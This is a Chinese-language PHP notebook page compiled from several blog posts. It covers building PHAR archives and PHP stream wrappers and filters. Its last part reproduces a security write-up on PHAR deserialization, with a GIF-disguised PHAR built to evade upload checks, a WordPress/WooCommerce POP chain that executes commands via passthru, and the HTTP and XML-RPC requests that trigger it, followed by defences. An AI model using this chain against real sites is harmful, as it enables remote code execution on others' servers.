php phar原理

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。如果你使用的是 PHP 5.3 或更高版本,那么Phar后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。



如果你以前没有使用过Phar文件,这篇文件就是要介绍关于这种文件的一些重要特征。希望你能发现Phar是一个非常有用的技术,能给你的PHP开发和部署带来更快更好的体验。



PHAR文件缺省状态是只读的,使用Phar文件不需要任何的配置。部署非常方便。因为我们现在需要创建一个自己的Phar文件,所以需要允许写入Phar文件,这需要修改一下 php.ini



打开 php.ini,找到 phar.readonly 指令行,修改成:



phar.readonly = 0
现在,我们就可以来把PHP应用打包成Phar文件了。



创建 PHAR 文件
在我们的PHP应用目录里,需要有一个创建Phar文件的脚本,我们给它起名叫 create-phar.php,放置到 myapp 的跟目录下,里面添加如下代码:



<?php
$srcRoot = “~/myapp/src”;
$buildRoot = “~/myapp/build”;



$phar = new Phar($buildRoot . “/myapp.phar”,
FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::KEY_AS_FILENAME, “myapp.phar”);
$phar[“index.php”] = file_get_contents($srcRoot . “/index.php”);
$phar[“common.php”] = file_get_contents($srcRoot . “/common.php”);
$phar->setStub($phar->createDefaultStub(“index.php”));



copy($srcRoot . “/config.ini”, $buildRoot . “/config.ini”);
打开命令行窗口,切换到 myapp 目录下,运行命令:



aabouzekry@platinum:~/myapp$ php create-phar.php
运行了上面的命令后,你会在 build 目录里发现一个 myapp.phar 文件,还有一个config.ini的副本。将这两个文件拷贝到WEB服务器的服务根目录里(e.g. htdocs)。



我们可以直接访问Phar打包的应用,但这需要额外配置web server来将Phar文件发送给正确PHP解析器。另外一个办法是创建一个run脚本,include 这个Phar文件。



在web server的根目录创建一个叫 run.php 的PHP脚本:



<?php
require “myapp.phar”;
这段代码的作用就是可以让你免去了去配置web server来直接解析Phar文件。如果你的应用使用的是一个共享的虚拟主机,没有权限来配置web server,那么,这种方式是一个完美的解决方案。



Phar的运行原理
让我们再重新看一下 create-phar.php 中的代码,了解每段代码的作用。先看看这几行:



<?php
$phar = new Phar($buildRoot . “/myapp.phar”,
FilesystemIterator::CURRENT_AS_FILEINFO |
FilesystemIterator::KEY_AS_FILENAME, “myapp.phar”);
一个新 Phar 对象的创建通常需要三个参数。第一个参数是Phar文件的路径。你不仅可以通过它创建Phar文件,还可以对现存的Phar文件进行操作。



第二个参数是设定 Phar 对象如何处理文件。Phar 对象继承了 PHP RecursiveDirectoryIterator 对象,这个参数是直接传递到父类里。这里提供的值是RecursiveDirectoryIterator 的缺省值,能满足目前的要求。



第三个参数是Phar文件的别名,在内部引用这个Phar文件时都要使用这个别名。也就是说,Phar内部文件的相互include都需要显式的使用这个别名。例如,之前的index.php 对 common.php 的引用就是这种方式。



<?php
require_once “phar://myapp.phar/common.php”;
在Phar对象创建之后, index.php 和 common.php 就被加入了Phar文件里了。Phar 对象是一个数组,file_get_contents() 方法将各个文件的内容读到数组里。你可以向里面添加很多的文件,但如果你考虑添加大量的文件,比如说整个目录下的文件,你可以考虑使用更方便的 buildFromDirectory() 方法。



<?php
$phar->buildFromDirectory(“/path/to/dir”,’/.php$/’);
buildFromDirectory() 的第一个参数是目录的路径;第二个参数是可选的,是用正则表达式过滤文件的类型。如果目录下的所有文件都要include,这个参数可以忽略。



setStub() 用来创建stub文件,stub文件用来告诉Phar在被加载时干什么。



最后,config.ini 从src被拷贝到build目录下。



Stub文件
运行Phar文件时,stub文件被当做一个meta文件来初始化Phar, 并告诉Phar文件在被调用时该做什么。在我们的例子中,使用的是 createDefaultStub() 方法,生成的缺省stub文件包含如下的代码:



<?php
Phar::mapPhar();
include “phar://myapp.phar/index.php”;
__HALT_COMPILER();
createDefaultStub() 方法缺省创建的stub文件的内容很简单。 Phar::mapPhar() 用来分析Phar文件的元数据,并初始化它。stub文件的结尾处需要调用 __HALT_COMPILER() 方法,这个方法后不能留空格。__HALT_COMPILER() 会立即终止PHP的运行,防止include的文件在此方法后仍然执行。这是Phar必须的,没有它Phar将不能正常运行。



除此之外,我们还可以创建自己的stub文件来执行自定义的初始化过程,像这样加载自定义文件:



<?php
$phar->setStub(file_get_contents(“stub.php”));
Phar文件的一些缺陷
如果你开发的类库或可引用程序需要被多个项目使用,把它打包成Phar文件是一个省事的解决方案。Phar文件是经过高度优化过的,它和普通文件的执行效率相比完全不弱,所以,你不需要担心效率问题。



但需要注意的是,Phar文件的使用有一些限制。下面是一些提示让你更好的理解它:



我们可以整个应用都打包到一个Phar文件里,但Phar只提供了一个单一入口。
在生产环境里,我们应该避免将东西回写进Phar,我们应该将哪些可能被修改的文件放到Phar之外,在标准PHP安装里,Phar是不允许回写的,因为安全问题。
https://xts.so/lang/pack-the-php-project-as-executable-phar.html

我们直接阅读PHP源码。在 phar.c#L618 处,其调用了php_var_unserialize。



if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {
CCopy
因此可以构造一个特殊的phar包,使得攻击代码能够被反序列化,从而构造一个POP链。这一部分已经太常见了,CTF比赛中都出烂了,没什么值得继续讨论的。值得关注的是到底为什么file_get_contents能够实现RCE。



Stream API
因此,为解决这个问题,我们需要首先阅读此函数的源码。大概在此处:https://github.com/php/php-src/blob/PHP-7.2.11/ext/standard/file.c#L548 ,重点关注此行:



stream = php_stream_open_wrapper_ex(filename, “rb”,
(use_include_path ? USE_PATH : 0) | REPORT_ERRORS,
NULL, context);
CCopy
可以注意,其使用的是php_stream系列API来打开一个文件。阅读PHP的这篇文档:Streams API for PHP Extension Authors,可知,Stream API是PHP中一种统一的处理文件的方法,并且其被设计为可扩展的,允许任意扩展作者使用。而本次事件的主角,也就是phar这个扩展,其就注册了phar://这个stream wrapper。可以使用stream_get_wrapper看到系统内注册了哪一些wrapper,但其余的没什么值得关注的。



因此,我们发现,一个 stream wrapper,它支持以下功能:打开文件(夹)、删除文件(夹)、重命名文件(夹),以及获取文件的meta。我们很容易就能断定,类似unlink等函数也是同样通过这个 streams api 进行操作。



Sam Thomas 的 pdf 指出



This is true for both direct file operations (such as
“file_exists”) and indirect operations such as those that occur during external entity processing
within XML (i.e. when an XXE vulnerability is being exploited).



我们通过试验也很容易发现,类似unlink等函数也均是可以使用的
https://blog.zsxsoft.com/post/38



流Streams这个概念是在php4.3引进的,是对流式数据的抽象,用于统一数据操作,比如文件数据、网络数据、压缩数据等,以使可以共享同一套函数,



php的文件系统函数就是这样的共享,比如file_get_contents()函数即可打开本地文件也可以访问url就是这一体现。简单点讲,流就是表现出流式数据行为的资源对象。
以线性方式进行读写,并可以在流里面任意位置进行搜索。
流有点类似数据库抽象层,在数据库抽象层方面,不管使用何种数据库,在抽象层之上都使用相同的方式操作数据,
而流是对数据的抽象,它不管是本地文件还是远程文件还是压缩文件等等,只要来的是流式数据,那么操作方式就是一样的
有了流这个概念就引申出了包装器wrapper这个概念,每个流都对应一种包装器,
流是从统一操作这个角度产生的一个概念,而包装器呢是从理解流数据内容出发产生的一个概念,也就是这个统一的操作方式怎么操作或配置不同的内容;
这些内容都是以流的方式呈现,但内容规则是不一样的,比如http协议传来的数据是流的方式,但只有http包装器才理解http协议传来的数据的意思,
可以这么理解,流就是一根流水的管子,只不过它流出的是数据,包装器就是套在流这根管子外层的一个解释者,它理解流出的数据的意思,并能操作它



官方手册说:“一个包装器是告诉流怎么处理特殊协议或编码的附加代码”明白这句话的意思了吗?



包装器可以嵌套,一个流外面包裹了一个包装器后,还可以在外层继续包裹包装器,这个时候里层的包装器相对于外层的包装器充当流的角色



在php自身底层实现的c语言开发文档有这样的解释:
流API操作一对不同级别:在基本级别,api定义了php_stream对象表示流式数据源,在稍微高一点的级别,api定义了php_stream_wrapper对象
它包裹低一级别的php_stream对象,以提供取回URL的内容和元数据、添加上下文参数的能力,调整包装器行为;



每一种流打开后都可以应用任意数量的过滤器在上面,流数据会经过过滤器的处理,笔者认为过滤器这个词用得有点不准确,有些误导人
从字面意思看好像是去掉一些数据的感觉,应该称为数据调整器,因为它既可去掉一些数据,也可以添加,还可以修改,但历史原因约定俗成,
也就称为过滤器了,大家心里明白就好。



我们经常看到下面的词,来解释下他们的区别:
资源和数据:资源是比较宏观的说法,通常包含数据,而数据是比较具象的说法,在开发程序的时候经常说是数据,而在软件规划时说是资源,他们是近义词,就像软件设计和程序开发的区别一样。
上下文和参数:上下文是比较宏观的说法,经常用在沟通上面,具体点讲就是一次沟通本身的参数,而参数这个说法往往用在比较具体的事情上面,比如说函数



上面解释了概念性的东西,下面来看看具体内容:



php支持的协议和包装器请看这里:http://php.net/manual/zh/wrappers.php:



(笔者注:原标题是:支持的协议和封装协议,中文翻译有点误导,准确的讲就是支持的协议和包装器,从英文版面就很清楚)



默认的支持了一些协议和包装器,请用stream_get_wrappers()函数查看.也可以自定义一个包装器,用stream_wrapper_register()注册



尽管RFC 3986里面可以使用:做分割符,但php只允许://,所以url请使用”scheme://target”这样的格式



file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流


如何实现一个自定义的包装器:



在用fopen、fwrite、fread、fgets、feof、rewind、file_put_contents、file_get_contents等等文件系统函数操作流时,数据是先传给定义的包装器类对象,包装器再去操作流。



如何实现一个自定义的流包装器呢?php提供了一个类原型,只是原型而已,不是接口也不是类,不能用于继承:



streamWrapper {
/* 属性 /
public resource $context ;
/
方法 */
__construct ( void )
__destruct ( void )
public bool dir_closedir ( void )
public bool dir_opendir ( string $path , int $options )
public string dir_readdir ( void )
public bool dir_rewinddir ( void )
public bool mkdir ( string $path , int $mode , int $options )
public bool rename ( string $path_from , string $path_to )
public bool rmdir ( string $path , int $options )
public resource stream_cast ( int $cast_as )
public void stream_close ( void )
public bool stream_eof ( void )
public bool stream_flush ( void )
public bool stream_lock ( int $operation )
public bool stream_metadata ( string $path , int $option , mixed $value )
public bool stream_open ( string $path , string $mode , int $options , string &$opened_path )
public string stream_read ( int $count )
public bool stream_seek ( int $offset , int $whence = SEEK_SET )
public bool stream_set_option ( int $option , int $arg1 , int $arg2 )
public array stream_stat ( void )
public int stream_tell ( void )
public bool stream_truncate ( int $new_size )
public int stream_write ( string $data )
public bool unlink ( string $path )
public array url_stat ( string $path , int $flags )
}



在这个原型里面定义的方法,根据自己需要去定义,并不要求全部实现,这就是为什么不定义成接口的原因,因为有些实现根本用不着某些方法,
这带来很多灵活性,比如包装器是不支持删除目录rmdir功能的,那么就不需要实现streamWrapper::rmdir
由于未实现它,如果用户在包装器上调用rmdir将有错误抛出,要自定义这个错误那么也可以实现它并在其内部抛出错误



streamWrapper也不是一个预定义类,测试class_exists(“streamWrapper”)就知道,它只是一个指导开发者的原型



官方手册提供了一个例子:http://php.net/manual/zh/stream.streamwrapper.example-1.php



本博客提供一个从drupal8系统中抽取修改过的包装器例子,请看drupal8源码分析关于流那一部分



流系列函数,官方手册:http://php.net/manual/zh/ref.stream.php
常用的函数如下:
stream_bucket_append函数:为队列添加数据 
stream_bucket_make_writeable函数:从操作的队列中返回一个数据对象
stream_bucket_new函数:为当前队列创建一个新的数据
stream_bucket_prepend函数:预备数据到队列 
stream_context_create函数:创建数据流上下文
stream_context_get_default函数:获取默认的数据流上下文
stream_context_get_options函数:获取数据流的设置
stream_context_set_option函数:对数据流、数据包或者上下文进行设置
stream_context_set_params函数:为数据流、数据包或者上下文设置参数
stream_copy_to_stream函数:在数据流之间进行复制操作
stream_filter_append函数:为数据流添加过滤器
stream_filter_prepend函数:为数据流预备添加过滤器
stream_filter_register函数:注册一个数据流的过滤器并作为PHP类执行
stream_filter_remove函数:从一个数据流中移除过滤器
stream_get_contents函数:读取数据流中的剩余数据到字符串
stream_get_filters函数:返回已经注册的数据流过滤器列表
stream_get_line函数:按照给定的定界符从数据流资源中获取行
stream_get_meta_data函数:从封装协议文件指针中获取报头/元数据
stream_get_transports函数:返回注册的Socket传输列表
stream_get_wrappers函数:返回注册的数据流列表
stream_register_wrapper函数:注册一个用PHP类实现的URL封装协议
stream_select函数:接收数据流数组并等待它们状态的改变
stream_set_blocking函数:将一个数据流设置为堵塞或者非堵塞状态
stream_set_timeout函数:对数据流进行超时设置
stream_set_write_buffer函数:为数据流设置缓冲区
stream_socket_accept函数:接受由函数stream_ socket_server()创建的Socket连接
stream_socket_client函数:打开网络或者UNIX主机的Socket连接
stream_socket_enable_crypto函数:为一个已经连接的Socket打开或者关闭数据加密
stream_socket_get_name函数:获取本地或者网络Socket的名称
stream_socket_pair函数:创建两个无区别的Socket数据流连接
stream_socket_recvfrom函数:从Socket获取数据,不管其连接与否
stream_socket_sendto函数:向Socket发送数据,不管其连接与否
stream_socket_server函数:创建一个网络或者UNIX Socket服务端
stream_wrapper_restore函数:恢复一个事先注销的数据包
stream_wrapper_unregister函数:注销一个URL地址包



一个过滤器的列子及解释:



相关链接:



用户过滤器基类:http://php.net/manual/zh/class.php-user-filter.php



过滤器注册:http://php.net/manual/zh/function.stream-filter-register.php



<?php



/* 定义一个过滤器 */
class strtoupper_filter extends php_user_filter {
function filter($in, $out, &$consumed, $closing)
{
while ($bucket = stream_bucket_make_writeable($in)) { //从流里面取出一段数据
$bucket->data = strtoupper($bucket->data);
$consumed += $bucket->datalen;
stream_bucket_append($out, $bucket); //将修改后的数据送到输出的地方
}
return PSFS_PASS_ON;
}
}



/* 注册过滤器到php */
stream_filter_register(“strtoupper”, “strtoupper_filter”)
or die(“Failed to register filter”);



$fp = fopen(“foo-bar.txt”, “w”);



/* 应用过滤器到一个流 */
stream_filter_append($fp, “strtoupper”);



fwrite($fp, “Line1\n”);
fwrite($fp, “Word - 2\n”);
fwrite($fp, “Easy As 123\n”);



fclose($fp);



//读取并显示内容 将全部变为大写
readfile(“foo-bar.txt”);



https://blog.csdn.net/u011474028/article/details/52814049



http://www.lmxspace.com/2018/11/07/%E9%87%8D%E6%96%B0%E8%AE%A4%E8%AF%86%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-Phar/



phar_test2.php



<?php
class TestObject {
public function __destruct() {
echo ‘Destruct called’;
}
}



$filename = 'phar://phar.phar/a_random_string';
file_exists($filename);
//...... ?> 当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。


2.3 将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。



<?php
class TestObject {
}



@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering(); ?>


采用这种方法可以绕过很大一部分上传检测。



0x03 实际利用
3.1 利用条件
任何漏洞或攻击手法不能实际利用,都是纸上谈兵。在利用之前,先来看一下这种攻击的利用条件。



phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
3.2 wordpress
wordpress是网络上最广泛使用的cms,这个漏洞在2017年2月份就报告给了官方,但至今仍未修补。之前的任意文件删除漏洞也是出现在这部分代码中,同样没有修补。根据利用条件,我们先要构造phar文件。



首先寻找能够执行任意代码的类方法:



wp-includes/Requests/Utility/FilteredIterator.php



class Requests_Utility_FilteredIterator extends ArrayIterator {
/**
* Callback to run as a filter
*
* @var callable
*/
protected $callback;

public function current() {
$value = parent::current();
$value = call_user_func($this->callback, $value);
return $value;
}
}
这个类继承了ArrayIterator,每当这个类实例化的对象进入foreach被遍历的时候,current()方法就会被调用。下一步要寻找一个内部使用foreach的析构方法,很遗憾wordpress的核心代码中并没有合适的类,只能从插件入手。这里在WooCommerce插件中找到一个能够利用的类:



wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php



class WC_Log_Handler_File extends WC_Log_Handler {
protected $handles = array();
/……/
public function __destruct() {
foreach ( $this->handles as $handle ) {
if ( is_resource( $handle ) ) {
fclose( $handle ); // @codingStandardsIgnoreLine.
}
}
}
/……/
}
到这里pop链就构造完成了,据此构建phar文件:



<?php
class Requests_Utility_FilteredIterator extends ArrayIterator {
protected $callback;
public function __construct($data, $callback) {
parent::__construct($data);
$this->callback = $callback;
}
}



class WC_Log_Handler_File {
protected $handles;
public function __construct() {
$this->handles = new Requests_Utility_FilteredIterator(array('id'), 'passthru');
}
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头,伪造文件类型
$o = new WC_Log_Handler_File();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering(); ?> 将后缀名改为gif后,可以在后台上传,也可以通过xmlrpc接口上传,都需要author及以上的权限。记下上传后的文件名和post_ID。


接下来我们要找到一个参数可控的文件系统函数:



wp-includes/post.php



function wp_get_attachment_thumb_file( $post_id = 0 ) {
$post_id = (int) $post_id;
if ( !$post = get_post( $post_id ) )
return false;
if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )
return false;



$file = get_attached_file( $post->ID );

if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {
/**
* Filters the attachment thumbnail file path.
*
* @since 2.1.0
*
* @param string $thumbfile File path to the attachment thumbnail.
* @param int $post_id Attachment ID.
*/
return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
}
return false; } 该函数可以通过XMLRPC调用"wp.getMediaItem"这个方法来访问到,变量$thumbfile传入了file_exists(),正是我们需要的函数,现在我们需要回溯一下$thumbfile变量,看其是否可控。


根据$thumbfile = str_replace(basename($file), $imagedata[‘thumb’], $file),如果basename($file)与$file相同的话,那么$thumbfile的值就是$imagedata[‘thumb’]的值。先来看$file是如何获取到的:



wp-includes/post.php



function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, ‘_wp_attached_file’, true );



// If the file is relative, prepend upload dir.
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}

if ( $unfiltered ) {
return $file;
}

/**
* Filters the attached file based on the given ID.
*
* @since 2.1.0
*
* @param string $file Path to attached file.
* @param int $attachment_id Attachment ID.
*/
return apply_filters( 'get_attached_file', $file, $attachment_id ); } 如果$file是类似于windows盘符的路径Z:\Z,正则匹配就会失败,$file就不会拼接其他东西,此时就可以保证basename($file)与$file相同。


可以通过发送如下数据包来调用设置$file的值:



POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 147
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close



_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-
admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editpost&post_type=attachment&post_ID=11&file=Z:\Z
同样可以通过发送如下数据包来设置$imagedata[‘thumb’]的值:



POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 184
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close



_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-
admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editattachment&post_ID=11&thumb=phar://./wp-content/uploads/2018/08/phar-1.gif/blah.txt
_wpnonce可在修改页面中获取。



最后通过XMLRPC调用”wp.getMediaItem”这个方法来调用wp_get_attachment_thumb_file()函数来触发反序列化。xml调用数据包如下:



POST /wordpress/xmlrpc.php HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
Cookie: XDEBUG_SESSION=PHPSTORM
Content-Length: 529
Connection: close



<?xml version=”1.0” encoding=”utf-8”?>




wp.getMediaItem



1

</param>


author

</param>


you_password

</param>


11

</param>



0x04 防御
在文件系统函数的参数可控时,对参数进行严格的过滤。
严格检查上传文件的内容,而不是只检查文件头。
在条件允许的情况下禁用可执行系统命令、代码的危险函数。



https://paper.seebug.org/680/


Category php